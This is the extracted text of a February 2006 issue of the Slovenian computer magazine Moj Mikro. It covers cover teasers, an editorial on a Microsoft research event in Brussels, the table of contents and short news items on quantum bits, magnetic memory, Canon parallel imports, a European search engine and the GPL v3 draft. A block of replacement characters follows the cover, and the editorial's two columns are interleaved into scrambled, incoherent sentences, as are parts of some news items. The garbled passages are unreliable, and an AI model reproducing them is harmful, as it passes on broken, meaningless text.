februar 2006, številka 2, letnik 22 cena 980 SIT NOVI GRAFIČNI HRUST ATI X1900XT Stran 54 SPREJETI TVEGANJE? Na kaj je treba še posebej paziti, če posežete po občutno cenejšem, neoriginalnem tiskalniškem potrošnem materialu? Kako visoki so prihranki, kako ločiti kakovostno od nekakovostne ponudbe in kakšne neprijetnosti se vam kljub vsemu lahko pripetijo? Kako je z garancijo? Stran 54  KONEC RADIA IN TELEVIZIJE?  Podcast: internetni ekvivalent radijskim in TV-programom Stran 24 2006 številka 2  KAJ BI VDSL – KMALU VDSL2!  Še hitreje, še bolj na poskok!  PODROBNEJE: VIDEOKAMERE  Analogno hira, naj živi digitalno! Kako izbrati primerno videokamero za vroče poletne dni in kaj nato storiti s posnetimi filmi? Stran 46  ZAPRTA ODPRTA KODA  Država si je za premislek o odprti koda vzela kar štiri leta časa Stran 34  NAREDI SAM:  Kako običajno ključavnico zamenjamo s ključavnico na prstni odtis? Stran 82 Satelitska oprema (res) za vsak žep! Stran 84 Dvojedrni ekstremni procesor AMD Athlon 64 FX-60 Stran 56 ��������������������������������� ��������������������������������������������� ����������������������������� ���������������������������������������������������������� �������������������������� ������������������������ ������������������������������������ ����� ���������� ��������� ������� ������������� ������� ��� ���������� ������������������ �������������������������������������� ������ ��� ��� ��� ���� �� ����� �������� �������� ���������� ��������� �� ������ ����������������� ����������������������������������������������������������������������������������������� ����������������������������������� ���������������� ������������ ��������������� ��������������������������������� ���������������������������������������������������������������������������������� ����������������������������������������������������������������������������������� ������������������������������������������������������������������������������������� ������������������������������������������������������������������������������������ UVODNIK Se nam je bati Danajcev? Piše : Zoran Banović M zoran.banovic@mojmikro.si icrosoft je zlat! Microsoft je grozen! nekateri predstavili. Da ni korporacija, ki je v preteklih letih Microsoft imamo radi! Microsoft spretno zasukala trg v svojo korist, zdaj pa nas molze in sovražimo! Skoraj vsak pripadnik izsiljuje. Hoteli so nam prikazati, da njihov glavni namen ni informacijske srenje v Sloveniji se bo strinjal le dobiček, ki bo šel v žepe lastnikov ampak da veliko vračajo vsaj z eno od teh »ugotovitev«. Je že tako, tudi nazaj v skupnosti, od katerih ta denar prihaja. Hoteli da imamo ljudje zelo radi črno-bele situacije, kjer se točno ve, so prikazati, da se kar trije od dvanajstih razvojnih centrov kdo je »naš« in kdo »njihov«. Takšno delitev imamo radi. v Evropi ukvarjajo tudi s temeljnimi raziskavami, torej Radi zato, ker je enostavna, ker ne zahteva razmišljanja, ker takšnimi, s katerimi se običajno ukvarjajo tudi univerze. ne zahteva poznavanja stvari in ker od nikogar ne zahteva, da Povedali so nam, da v evropskih laboratorijih dela okoli 1000 postane nepristranski opazovalec. Nepristranskost je namreč ljudi, kar pomeni, da je Microsoft tudi delodajalec, ki skrbi za nevarna. Nepristranski je lahko nekdo, ki mu je vseeno in ki razvoj v posameznih državah. In zakaj so nam to povedali? mu vse skupaj »dol visi«. Tak človek je nevaren, ker nikoli Če zadevo pogledamo v luči protimonopolnih tožb in težav, ki ne vemo, kdaj mu ne bo več vseeno in se bo postavil na jih ima Microsoft z njimi v Evropi, zadeve postanejo jasnejše. stran »nasprotnika«. Nepristranski je lahko Nič ni zgolj črno ali belo, so le različni tudi nekdo, ki mu ni odtenki sivega − o tem skuša črno-belo vseeno, a se je vsaj misleče na svoj način prepričati tudi Microsoft. potrudil spoznati več plati medalje. In ko Ne brez argumentov ... je spoznal, da črnega Nanašajo se namreč na tiste črno-bele situacije, o katerih sem in belega ni, ampak da gre za svetlejše ali temnejše odtenke govoril na začetku. Hoteli so nam povedati, da ne sodijo med sivine, je nevaren. Še zlasti če to tudi na glas pove. Če tiste, ki le molzejo, torej črne, ampak da na trgu ustvarjajo na glas pove svoje tako črnim kot belim. Tak človek je še zdrav odnos daj-dam, torej da imajo v sebi tudi veliko belega. nevarnejši od tistih, ki jim je vseeno. Tiste je namreč še Če dogodek gledamo iz te perspektive, potem je jasno, zakaj mogoče kam potegniti, teh drugih pa ne. so bili tam predstavniki univerz, parlamentarci in novinarji. Povod za razmišljanje na to temo mi je dal enodnevni Vsem tem je bilo treba nekako povedati, da Microsoft ni le dogodek v Bruslju, imenovan Microsoft European korporacija, od katere se le kupuje. Sicer je res, da sporočilo Research and Innovation Day. Podobnih dni sem se ni bilo najjasnejše. Je pa tudi res, da je kaj takšnega zelo v preteklosti že večkrat udeležil in običajno je bilo dokaj težko neposredno podati javnosti. Kar javno vzklikniti: »Kaj zanimivo, saj so nam Microsoftovi razvojniki prikazali, kaj me zafrkavate, saj nisem tak!« je nemogoče. Takšne izjave delajo in česa se lahko nadejamo v bližnji prihodnosti. je treba malce zaviti, okrasiti, postaviti v pameten koncept A tokratni dogodek je bil nekoliko drugačen. Drugačen zato, in predstaviti tistim ljudem, ki bodo sporočilo lahko prenesli ker poudarek ni bil na izdelkih, saj je njihova predstavitev naprej. In točno to so naredili. Vzeli so kontekst dneva potekala le kakšno urico kar med kosilom, ampak na govorih, raziskav in inovacij in nanj povabili ustrezne ljudi – novinarje, ki so jih imeli vsi mogoči predstavniki vseh mogočih institucij. da bodo videli, kaj se dogaja in javnosti predstavili dobre stvari, In to ne le Microsoftovi, ampak tudi predstavniki evropskega ki jih dela Microsoft, predstavnike univerz, da pokažejo, da parlamenta in še kdo. Ko smo slišali, kaj je imel kdo povedati, se med drugim ukvarjajo tudi s stvarmi, ki jih delajo univerze, je bil cilj dogodka zelo težko določiti. Kar nekaj novinarjev, torej so tudi akademsko usmerjeni, predstavnike evropske posebej zahodnoevropskih, se je spraševalo, zakaj so sploh politike pa, da jim dopovedo, naj se nehajo obnašati do njih kot tam. Zakaj smo bili tam? Kaj nam je hotel Microsoft povedati? do sovražnika, saj prinašajo tudi dobre stvari. Zakaj ravno Bruselj? Zakaj parlamentarci, predstavniki Ali jim bo Evropa verjela ali pa jih označila za Danajce, ki univerz in podobni ljudje? prinašajo zahrbtne darove, bomo videli. A dejstvo ostaja − nič Edina pametna razlaga je ta, da je Microsoft hotel med ni črno ali belo, so le različni odtenki sivega.  vrsticami povedati, da ni tako grd in zloben, kot bi ga radi  4 moj mikro | 2 | februar | 2006 IT -KAZALO MOZAIK V SREDIŠČU 6 Ne prezrite 15 Ustrahovanje uporabnikov? 16 Originalen, združljiv in obnovljen potrošni material 19 Nižje cene, manjša obstojnost vsebina 22 Boj za poslovni svet 23 Državna uprava in alternativni ponudniki IT- MOZAIK 24 Podcasting – zvok in slika na zahtevo 26 Sistemi za samostojno upravljanje spletnih vsebin (CMS) 29 Odprtokodni sistemi CMS 32 Google Analytics 34 Država, informatika in odprta koda 38 Napadi na sisteme Unix z administratorskimi paketi 41 Zloraba programov za varnostno testiranje omrežij 44 Sistem za podporo prenosljivosti telefonskih številk PODROBNEJE O: VIDEOKAMERE 46 Se trak poslavlja? 48 Delo z digitalnimi filmi POD LUPO 46 VIDEOKAMERE V poplavi novih formatov zapisa videa in medijev se zdi analogna doba kot mirno morje, čeprav je na njem divjala vojna dveh velikih taborov. 24 16 Podcasting – zvok in slika za zahtevo TISKALNIŠKI POTROŠNI MATERIAL Pestra ponudba – kaj pa kakovost? VDSL2 V Sloveniji že preizkušamo tehnologijo VDSL2, ki ponuja dvakrat več! VODENJE PREK MOBILNEGA TELEFONA Dve storitvi, ena Simobilova in druga Mobitelova. Katera je boljša in primernejša za uporabnike? Storitev »trojčka«: akademsko namesto komercialno? Kako problematičen je signal sosednjih mobilnih omrežij na obmejnem področju Slovenije? Kako se zaščititi pred previsokimi mesečnimi računi? Pamet v mobilne telefone! K A Z ALO OGL AŠEVALCEV ALTERNA INTERTRADE 85 ANNI 3 AVTERA telekomunikacije BAKUS 19 CANON telekomunikacije COSMO 21 DELO REVIJE 87 E-MISIJA 71 FMC 23 IDC 2 IMAGE & INFORMATION 69 IZID telekomunikacije KFM 74 LOGITECH telekomunikacije MARAND 9 MEDINET 91 MICROSOFT 37 MCA 67 MIKROPIS HOLDING 35, 100 MOBITEL 65 SI SPLET 41 PETRA MARKETING 20, telekomunikacije SLOGA TEAM telekomunikacije TIFT 89 VOLJATEL telekomunikacije ZAK 51 54 ATI X1900XT – novi grafični hrust 56 AMD Athlon 64 FX-60 57 Canon DS-810 Canon Pixma MP170 in Canon Pixma iP6220 58 Matična plošča ASUS A8R-MVP Sony SNC-M3 Gorenje DVR-2000X 60 Prenosni računalniki: Fujitsu Siemens LifeBook P1510 Lenovo ThinkPad Z60m Packard Bell EasyNote W7600 61 Creative Sounf Blaster Fatal1ty FPS TrendNet TEW-429UF 62 NeatGear RangeMax 240 WPNT834 in kartica WPNT511 LevelOne FCS-1040 63 LevelOne KVM-9000 Toshiba MT-400 Toshiba TLP-C001 64 Digitalni fotoaparati: Novi udarci klasični fotografiji 66 Videokamere: Ko se vrti DVD 68 Nikon D200 proti Canon 20D 72 Microsoft Office 12 beta 73 Roxio Easy Media Creator 8 75 Microsoft Visual Studio 2005 SE 76 Acronis True Image Server 8 77 Borland Developer Studio – Delphi 2006 78 Igre Flash 79 FIFA 06 80 82 84 88 92 95 96 98 Podatkovne zbirke Prst namesto ključa Satelitska oprema za vsak žep Mala šola TCP/IP-ja (2. del) Naprave po meri posameznika Glasbena produkcija Računalništvo in šah Nagradna križanka V PRAKSI 5 NE PREZRITE HERCULES V RECIKLIRANI PODOBI Ne moremo trditi, da bodo domači multimedijski računalniki v bližnji prihodnosti podobni računalniku na sliki, a ta ideja je pred kratkim zmagala na Microsoftovem oblikovnem natečaju. Konstrukcijska ideja, združevanje delov računalnika v vrsto, še zdaleč ni novost. Starejši bralci se boste morda spomnili računalnikov Unisys (imenovani tudi Hercules), ki jih je uporabljal sekretariat za narodno obrambo v bivši skupni državi. Tudi te računalnike so sestavljali odvisno od zahtev uporabnika. Osrednja škatla je bila tako imenovana centralna procesna enota s procesorjem, ki so ji nato dodajali enote (škatle) z gibkimi diski, trdimi diski, koprocesorji in drugimi deli računalnika. Takrat smo se šalili, da je kupec dejal: »En meter računalnika, prosim,« Tudi nova oblikovna ideja sledi temu načelu. Osrednja enota, kocka s stranico 18 centimetrov, je popolnoma delujoč računalnik – lično oblikovan, da se sklada z opremo domačih prostorov. Tej enoti nato dodajamo enote s trdimi diski, na katerih so vsebine ali storitve (filmi, igre, glasba, itd), skupaj z vsemi mehanizmi za zagotavljanje avtorskih pravic avtorjev vsebin ali storitev. Dodatne »vsebinske« enote, ki jih zagotovi ponudnik storitve, so lahko različnih širin, drugi dve razsežnosti pa se skladata z merami osrednje enote. Enote med seboj in na osrednjo enoto priključijo prek spojnega mehanizma, ki vključuje tudi ustrezno vodilo za povezavo. Dodana je še »polica«, v katero vstavimo sestavljeni računalnik. Vsebino, ki jo kupimo, tako »zlagamo« kot knjige ali revije na knjižne police – od koder tudi ideja za nov koncept. Zanimiv je tudi odgovor na vprašanje, zakaj želijo kot nosilec (medij) vsebin uporabiti trdi disk, ne pa danes običajnih medijev CD oziroma DVD. Razlog je seveda varovanje avtorskih pravic, saj bi tako veliko laže izdelali in uporabili mehanizme (programe), ki bi kopiranje omejili. Vprašljivo pa je, ali bo vsebina na trdih diskih lahko podobnih cen, kot je danes na CD-jih oziroma DVD-jih. KAJ SO QUBITI Čeprav je do pravih in delujočih kvantnih računalnikov še dolga pot, se že danes pojavljajo nekatere tehnologije in izrazoslovje, ki bo morda nekoč postalo tako običajno, kot so danes biti in zlogi. Osnova vsakega računalnika so osnovne informacijske enote − biti, s katerimi izrazimo informacijo (podatke).. Kvantni biti ali krajše qubiti so ekvivalent današnjim tranzistorjem, katerih stanji (prevaja ali ne prevaja) pomenijo »ničle« in »enice« računalniku razumljivih informacij. V kvantnem svetu qubiti izkoriščajo lastnosti enega od štirih tipov kvantnih delcev: fotone, elektrone, atome ali ione. Vzajemnega delovanja med fotoni skoraj ni, vendar ti delci lažje potujejo z enega mesta na drugo in so zatorej primerni za prenos kvantne informacije. Drugi trije elementi so manj mobilni, a zato bolje vplivajo drug na drugega. Ti delci so primernejši za procesiranje in hranjenje podatkov. Zanimivo je tudi, kako ti delci predstavljajo osnovni stanji (0 in 1). Električno polje nepolariziranih fotonov niha naključno v ravnini pravokotni na njihovo smer gibanja. Pri polariziranih fotonih pa lahko polje niha lahko zgolj v štirih smereh − gor in dol (vertikalno), levo in desno (horizontalno) oziroma po obeh diagonalah ravnine. Dva para polarizacije pomenita dve osnovi stanji, možna pa je tudi uporabiti fazo (valni cikel) fotonov in čase prihoda na cilj. Gibanje fotonov uravnavajo z zrcali in polariziranimi filtri, ki blokirajo pot določeno polariziranim fotonom. Pri elektronih stanji predstavlja njihova orientacija (spin), ki je lahko v dveh smereh – spin gor ali spin dol. Zadeva je podobna dvema magnetnima poloma. Spin je elektronom mogoče spreminjati z električnimi, magnetnimi ali svetlobnimi polji. Kot nosilec informacije je mogoče uporabiti tudi položaj elektrona znotraj kvantne točke. Atomi ali ioni so že večji (sestavljeni) delci in kot taki dajejo več možnosti predstavitvi obeh stanj. Tako kot elektroni imajo tudi ti delci svoj spin, kar je ena izmed možnosti. Prav tako so lahko nosilci informaciji elektroni v njihovem ovoju (natančneje, njihov položaj), saj je znano, da je na njihove orbite moč vplivati z energijo. Ulovljeni in ohlajeni atomi vibrirajo, kar je tudi moč uporabiti kot nosilec informacij. Četrti način predstavitve stanj pa je povezan z majhnimi spremembami orbit elektronov, ki nastanejo zaradi magnetnega vpliva med jedrom in elektroni. Qubit predstavlja nadzorovan delec in način njegovega nadzora, napravo, ki delec ujame in spreminja njegovo stanje. Trenutno razvoj kvantne tehnologije ponuja štiri kandidate. Ionske pasti s pomočjo svetlobnega ali (in) magnetnega polja ujamejo posamezen ion. Kvantne točke so koščki polprevodnega materiala, ki vsebuje le enega ali zgolj nekaj elektronov. Kot qubit je možno uporabiti tudi nečistoče v polprevodnikih, kjer s pomočjo laserja ali električnega polja nadzirajo elektrone atomov dodanih v polprevodnik. Najzanimivejši pa so superprevodni krogi (električni tokokrog iz super prevodnega materiala), po katerih elektroni tečejo brez električnega upora in ti dajejo največ možnosti oblikovanja qubitov. 3D-OBJEKTI V OBLIKI PDF Acrobat 3D je Adobovo orodje, s katerim lahko oblikovalci 3D-modelov te iz znanih formatov okolja CAD pretvorijo v PDF. Program vsebuje orodja, s katerimi je modelom moč dodajati osvetlitev (iz različnih smeri), teksturo (strukturo površine) ali imitacije materialov ter izdelati animacijo (na primer navodila za razstavljanje in sestavljanje znotraj datoteke PDF). Hkrati program nadgradi zmogljivost bralnika Adobe Reader, tako da lahko uporabnik vidi strukturo objekta, doda pripombe ali izvede preprosta merjenja oziroma izvede podobne operacije neposredno na 3D-objektu. Program je na voljo zgolj za operacijski sistem Windows. www.adobe.com 6 moj mikro | 2 | februar | 2006 NE PREZRITE MAGNETNI PROCESOR VZPOREDNI UVOZ MOLZE EVROPEJCE Kot kaže, bo moč tehnologijo magnetnih pomnilnikov, ki ne izgubijo podatkov, ko izpade električna energija, uporabiti tudi za izdelavo magnetnih procesorjev. Če bi imeli tak procesor in z njim opremljen računalnik, nalaganje pri zagonu ne bi bilo več potrebno. Računalnik bi lahko v trenutku prešel v stanje delovanja in nadaljeval opravila, ki jih je počel ob izklopu. Pa še manj energije za delovanje bi potreboval. Kot je znano, današnje procesorje sestavljajo tranzistorji, ki oblikujejo logična vezja (imenujemo jih tudi logična vrata). Nemškim znanstvenikom je uspeli narediti prototip magnetnega čipa, ki lahko izvede osnovne binarne informacije. Majhne kvadratne magnete reda velikosti nanometrov so oblikovali v skupine po osem (znotraj tako imenovane kvantne točke) in tako tvorili »večinska vrata« – gre za logična vrata s tremi vhodi in enim izhodom. S temi vrati kot osnovnim gradnikom in njihovim združevanjem pa je mogoče izgraditi vso logiko, ki jo uporabljajo današnji računalniki. Še eno prednost ima predlagana tehnologija. Ker gre za postavitev magnetov znotraj čipa, je njihov položaj moč kasneje spreminjati in tako izdelati vezje, ki se preoblikuje glede na nalogo, ki jo mora izvesti. Canon Europe je zavzel strogo pravno stališče proti uvozu izdelkov, namenjenih trgom ZDA in Azije, v Evropski ekonomski prostor (EEA). Nedavna okrepitev evra je občutno povečala obseg vzporednega uvoza v evropske države. Izdelki, ki v osnovi niso namenjeni evropskim trgom, prinašajo samo navidezni prihranek, saj so imajo lahko napake ali so celo neuporabni in nimajo Canonove garancije. Izdelki, uvoženi iz ZDA in Kitajske za prodajo v Evropskem ekonomskem prostoru, kupcu ne omogočajo vedno poprodajne podpore in uveljavljanja garancijskih pravic. Na mnogih vzporedno uvoženih izdelkih so odkrili težave z združljivostjo, kot so napačna programska oprema in neustrezni kabli, priložena pa so jim navodila za uporabo v tujih jezikih? Canon se proti vzporednem uvozu bojuje s sodnimi prepovedmi takšnega početja. Nas pa vseeno zanima, zakaj Canon ne poenoti cen – vsaj s cenami na ameriškem trgu, ki so znatno nižje za enakovredno opremo kot cene v EU (pa čeprav je kupna moč Američanov višja). Drugačen kabel, navodila v tujem jeziku ali drugačna programska oprema najbrž ne spremenijo izdelek do te mere, da je višja cena upravičena. Dokler bodo cene tako različne, da bodo omogočila prihranek kupcu in hkrati zaslužek »sivim« uvoznikom, so pravne prepovedi kratke sape. Naj zato Canon ščiti potrošnika tako, da mu ponudi prijazne cene! www.canon.com UREDNIŠTVA SE SELIJO V NAVIDEZNI SVET Ko smo pred leti sanjarili o hitrem dostopu do interneta, so se nam prenosi, večji od nekaj megabitov, zdeli skoraj bogokletno nedosegljivi. Pa vendar so se nam želje izpolnile presenetljivo hitro, in zdi se, da so na področju informatike najbolj vizionarski pristopi še najstvarnejši. Kaže, da bo to veljalo tudi za revijalni tisk. Prihodnost je avtomatizirano stavljenje vsebin, kadarkoli in od koderkoli. Virtualno uredništvo je veliko bližje, kot bi si mislili. Prvi koraki so že narejeni, prve tehnologije preizkušene. Ledino orjejo slovenski računalniški strokovnjaki. Pred kratkim so v uredništvu revije Stop vpeljali nov elektronski redakcijski sistem, ki bo radikalno spremenil dosedanje dojemanje novinarskega dela. Atlas, kakor so sistem poimenovali njegovi avtorji, ljubljansko podjetje Citadela, omogoča samodejni grafični prelom in poenostavlja zamudna rutinska opravila. Posebnost sistema je programski modul za avtomatizirano urejanje TVsporedov, ki poteka z uporabo tipskih predlog, in sicer hkrati za neomejeno število različnih izdaj. Avtomatizirano stavljenje bistveno skrajšuje čas dela zlasti pri tovrstnih, ponavljajočih se rubrikah z množico strukturiranih podatkov. To pa je šele prvi korak; nadgradnja uporabe elektronskega redakcijskega sistema bo novinarjem v prihodnosti omogočala tudi samostojno urejanje »svoje« rubrike kar od doma. Vse, kar je potrebno, je le postavitev spletnega vmesnika in namestitev programa pri uporabniku doma. Časopisne hiše bodo tako precej prihranile pri stroških uporabe poslovnih prostorov, po napovedih urednikov pa se bo zmanjšalo tudi število honorarnih sodelavcev. Manj zaposlenih bo potrebno tudi zato, ker v ozadju elektronskega redakcijskega sistema delujejo zbirke digitaliziranih vsebin, ki omogočajo celovito arhiviranje podatkov v digitalni obliki. Sistem Atlas tako z zgodovino vseh dogodkov preprečuje ponavljanje istih objav, omogoča medsebojno izmenjavo vsebin med redakcijami in s tem popolno sledljivost sprememb, poleg tega pa sistem samodejno ponudi že obdelano in za tisk pripravljeno besedilo ali fotografije. Rezultat: pri Stopu so za tretjino obsežnejše edicije postavili v krajšem času kot prej, in to z nespremenjenim številom zaposlenih. Sistem Atlas bo na ogled na največjem izdajateljskem sejmu IFRA, ki bo letos v Amsterdamu. 7 NE PREZRITE MAGNETNI POMNILNIKI Bo magnetna tehnologija v prihodnosti zamenjala današnje polprevodniške tehnologije (pomnilnik RAM z naključnim dostopom)? Teoretično ji v prid govori nekaj očitnih prednosti. Podatki se ne izgubijo, če zmanjka Gostota prstanov električne energije (enako kot pri pomnilnikih flash), hkrati za delovanje je lahko višja. porabi manj energije in omogoča hitrejše delovanje in večjo gostoto polnjenja. Razvoj magnetnih pomnilnikov RAM poteka že vrsto let in vsaj zaenkrat lahko govorimo le o uspehih temeljnih raziskav te tehnologije. Na Univerzi Johna Hopkinsa so prepričani, do jim je uspelo ravno to. Ugotovili so namreč, da je bolje uporabiti nepravilno oblikovane kobaltove ali nikljeve prstane (obroče), ki Prstani pravilne (levo) in nepravilne oblike delujejo kot pomnilniške celice, kot pa takšne EVROPSKI ODGOVOR NA GOOGLE Francija in Nemčija zelo pritiskata, da bi Evropa razvila svoj internetni iskalnik in tako vsaj na papirju postala neodvisna od Googla. Razvoj iskalnika, ki bo prilagojen iskanju multimedijskih vsebin (zvok, video, fotografije) in torej ne bo zgolj besedilno orientiran, že poteka pod projek- pravilnih oblik. Tako je lahko gostota prstanov večja, hkrati pa je pomnilnik manj občutljiv na magnetne vplive iz okolice. Prstani so premera le 100 nanometrov. Nepravilna (asimetrična) oblika prstanov dopušča, da jih je več v tako imenovanem stanju vrtinca (vortex), kar pomeni, da nimajo »naključnih« polj (stray field). Ker se s tem problemom ni treba ukvarjati oziroma je teh motenj manj, je lahko gostota prstanov višja. Pri prejšnji raziskavah so ugotovili, da je verjetnost za doseganje stanja vrtinca pri prstanih pravilnih simetričnih oblik le 40-odstotna – le toliko prstanov doseže omenjeno želeno stanje. Pri prstanih nepravilnih oblik pa je ta verjetnost med 40 in 100 odstotkov, hkrati pa jo je moč nadzirati s smerjo magnetnega polja. 3D-ORODJA ZA MEDICINO Podjetje Sekvenca išče svoje poslanstvo v razvoju 3D-orodij za medicino, na podlagi katerih bo mogoče načrtovati zapletene kirurške posege. Septembra so prvo orodje, model kolka, predstavili na kongresu kostnih kirurgov v Nemčiji in pridobili 13 evropskih bolnišnic, ki bodo orodje v prihodnjih mesecih preizkušale. Najnovejši uspeh Sekvence je algoritem, razvit na podlagi tehnologije 3D-vizualizacije, ki slike CT ali MRI posameznega človeškega organa ali dela telesa prevede v povsem realen 3D-model. Tak model dejanskega organa bolnika je primeren predvsem za načrtovanje 20 odstotkov najzahtevnejših operacij na organu. Na podlagi modela kirurg pripravi optimalen načrt operacije, kar pomeni minimalne reze, hitrejše okrevanje bolnika in tudi za polovico krajši čas trajanja posega. Cilj podjetja Sekvenca je bolnišnicam po Evropi v prihodnjih dveh letih ponuditi 15 orodij za načrtovanje operacij. www.sekvenca.si tnim imenom Quaero. Iskalni mehanizem naj bi izkoriščal tehnike za prepoznavanje, kopiranje, indeksiranje in samodejni prevod avdio-vizualnih dokumentov, deloval pa bo v več evropskih jezikih. Omogočal naj bi tudi samodejno prepoznavanje in indeksiranje digitalnih fotografij. Indeksiranje avdio-vizualnih vsebin ni tako preprosto, saj naprava sama in brez posega človeka težko določi, kaj je vsebina dokumenta (če ta ni opremljen z besedilnim opisom). Prepoznavanje video dokumentov običajno pomeni uporabo mehanizma za samodejno prepoznavanje govora (torej zvoka v video posnetku) in nato iskanje in indeksiranje dokumentov glede na to pridobljeno besedilo (vsebino dokumenta). Težavnejše je samodejno prepoznavanje »vsebine« fotografij oziroma videa brez govora. Bo evropski iskalnik to sploh omogočal? V projektu sodeluje tudi globalno manj znan iskalnik Exalead, za katerega nekateri pravijo, da ima uporabniški vmesnik, ki Googlovega v marsičem prekaša. Zanimivo je tudi izbrano ime Quaero, na katerem si malce lomimo jezik. Ni pa kar tako izbrana, saj v latinščini pomeni iskanje. www.exalead.com 8 KRATEK SPOMIN ZAPISLJIVIH CD-PLOŠČ Ste se kdaj vprašali, koliko časa so podatki, shranjeni na zapisljivih CD-jih, sploh varni. Po »peki«, ko podatke na ploščo zapišemo, začne površina plošče počasi propadati, kar prej ali slej privede do tega, da podatkov s plošče ni več moč prebrati. Koliko časa preteče do neljubega dogodka, je odvisno od kakovosti plošče – cenejše kot so, prej se to zgodi. Kot pravijo, in preteklo je dovolj časa, da so tudi dokazali, je povprečna življenjska doba zapisljivih CD-jev le 2 do 5 let. Malce lahko propad plošče upočasnimo, če jih hranimo v hladnem in temnem prostoru. Za dolgoročno hranjenje podatkov so primernejši magnetni mediji (trakovi), saj je njihova življenjska doba daljša, od 30 do celo 100 let. Vendar teh običajno doma nimamo in zato nanje tudi ne zapisujemo družinskih fotografij in drugih podatkov. Kaj storiti? Če ne želimo teh podatkov izgubiti, jih moramo vsakih nekaj let na novo zapisati ali pa uporabiti bolj trdoživ medij. moj mikro | 2 | februar | 2006 NE PREZRITE ZABAVNA ELEKTRONIKA Z UMETNO INTELIGENCO Znanstveniki MIT-a so oblikovali nov način upravljanja naprav zabavne elektronike, ki tipke ali ikone za izvedbo posameznih funkcij (običajno prek daljinskega upravljalnika) zamenja s seznamom nalog, ki jih uporabnik želi izvršiti. V ta namen so izdelali programsko opremo, imenovano Roadie. Ta uporabniku ponudi izvedbo naloge, na primer zapis filma na DVD, nato pa izvede vse potrebne funkcije ali pa uporabnika kot čarovnik za opravila korak za korakom vodi do končnega cilja. Program sestavljajo uporabniški vmesnik, programska oprema za naprave, zbirka podatkov znanj (»zdrava pamet«) in algoritem za načrtovanje izvajanja nalog, v katerega so vključeni najnovejši dosežki s področja umetne inteligence. Zbirka znanj pomaga sistemu prepoznati za človeka običajne stvari, na primer: če prižgemo televizijo, ne mislimo poslušati radia. Algoritem za načrtovanje pa določi vse potrebne funkcije in vrstni red izvrševanja opravil, potrebnih, da naprava ali medsebojno povezane naprave izvedejo nalogo. Ves sistem je oblikovan preprosto in uporabniku prijazno, zato ne izključuje posameznikov, ki bodisi nimajo dovolj tehničnega znanja ali pa se prvič srečujejo z elektronsko opremo. Edina slabost je ta, da izdelovalci naprav zabavne elektronike v svojih izdelkih običejno ne podpirajo programov neodvisnih ponudnikov, temveč le svoje. www.mit.edu PRENOVLJENA INFOCUSOVA PODOBA Proizvajalec multimedijskih projektorjev InFocus je z letom 2006 spremenil svojo celostno grafično podobo. Tako se obeta nova linija poslovnih projektorjev, ki bodo imenovani Work Big. Pričakujemo jih še v tem letu. Tokrat pa jih je prehitela linija projektorjev za hišni kino, Play Big. PlayBig IN72, IN74 in IN76 so projektorji, ki bodo zadovoljili prav vse uporabnike, od najbolj do manj zahtevnih. Projektorji imajo vdelane nove procesorje za obdelavo video slike, Pixelworks DNX, ki izboljšajo kakovost in ostrino video slike. S kombinacijo večkratno izboljšanih projekcijskih tehnologij naredijo sliko čisto, naravno in ostro. Vsi modeli imajo 6-segmentno barvno kolo, ki omogoča prikaz intenzivnejših, natančnejših in bolj živih barv. Projektorji uporabljajo DLP DarkChip2 proizvajalca Texas Instruments. IN72 ima vdelan 480-linijski čip, IN74 576-linijski, IN76 pa 720-linijski čip za prikaz slike. IN72 je projektor za filmske večere in igranje igric. Zabavali se bodo vsa družina in vaši prijatelji. Z osnovno ločljivostjo 854 x 480, svetilnostjo 900 ANSI-lumnov in kontrastom 2000 : 1 vas ne bo pustil v zadregi. IN74 vam bo prikazal domačo zabavo, kot je še niste videli. Osnovna ločljivost 1024 x 576, 1000-ANSI lumnov svetilnosti in kontrast kar 3000 : 1 bodo prepričali še tako zahtevnega gledalca. IN76 vam bo pričaral edinstven občutek prave kinodvorane. Zdelo se vam bo, kot da ste na hollywoodski premieri v živo. Navdušil bo tudi najzahtevnejše filmofile, saj bo s svojo visoko osnovno ločljivostjo 1280 x 720, 1000 ANSI- lumnov svetilnosti in 3000 : 1 kontrastom ustvaril sliko, ob kateri boste ostali brez besed. Vsi projektorji so opremljeni s številnimi priključki, ki so danes standard v svetu videa in projekcije. Glavni med njimi so priključek za HDMI (High-Definition Multimedia Interface), DVI (Digital Visual Interface) in komponentni video priključek. Vsi projektorji imajo podporo za pravi HDTV (High Definition Television), zato so pripravljeni za prihodnost, ko bomo končno lahko uživali v gledanju zares kakovostnega TV-signala. (promocijska novica) www.lestra.si 10 PREDLOG NOVE LICENCE GPL Richard Stallman, avtor licence GPL (GNU Public Licence), brez katere ne bi bilo odprtokodnega razvoja programske opreme, je predstavil predlog njene tretje različice. Ta rešuje nekatere probleme, kateri so se pojavili v petnajstih letih od časa, ko je trenutno veljavna licenca aktualna (1991). Med drugim predlog licence vsebuje ukrep, ki preprečuje, da bi programsko kodo, za katero velja licenca GPL uporabljali kot del sistemov za varovanje avtorskih pravic (ti sistemi se skrivajo pod kratico DRM). Drug pomembni dodatek (sprememba) pa omejuje patentne pravice, ki jih lahko zahtevajo programerji v svojih za GPL licenciranih programih. Načeloma gre tako. Že v osnovnih pravilih licenciranja velja: če v svojem programu uporabite odprto kodo, velja licenca tudi za vaš program. Vsem je na voljo, da ga brezplačno dobijo, spreminjajo in vključujejo v svoje programe. Če programer na tej podlagi pridobi tako imenovani programski patent, ta ne sme omejiti drugih, da ga uporabijo. Še vedno celotna zadeva ostaja v domeni odprte kode, torej na voljo vsem in za karkoli. Odprtokodna združenja se še vedno borijo proti podeljevanju programskih patentov, saj ti pomenijo največjo grožnjo prostemu razvoju programske opreme. V Ameriki, kjer patentni uradi nimajo zadržkov pri podeljevanju takšnih patentov, je Microsoft pred kratkim patentiral datotečni sistem FAT. Ta format uporablja veliko operacijskih sistemov za organizacijo podatkov na prenosljivih pomnilnikih. Če bi Microsoft zahteval plačilo patentnih pravic, bi tako pravi Stallman, to sesulo distribucijo sistema Linux, ki podpira format FAT. moj mikro | 2 | februar | 2006 NE PREZRITE »MACHINIMA« Skovanka v naslovu (iz besed machine cinema). opisuje filme narejene s pogonom (engine) računalniških iger Do napredka je prišlo lansko leto, ko je francoski oblikovalec s simulatorjem filmskega studia The Movies izdelal trinajstminutni film Francoska demokracija, v katerem na svoj način opisuje dogajanje in razloge za nastanek upora v predmestjih nekaterih francoskih mest. Bolj kot zaradi vsebine je omenjeni film zanimiv, ker ponazarja, kaj vse je moč dokaj enostavno narediti zgolj z nekaj znanja, časa in talenta. In seveda z orodji za izdelavo računalniško narejenih filmov, ki so del omenjene igre. Doslej so »machinime« lahki izdelovali zgolj programerji z dovolj znanja, da so reprogramirali pogon igre, da je postal uporaben za njihov film. Z igro 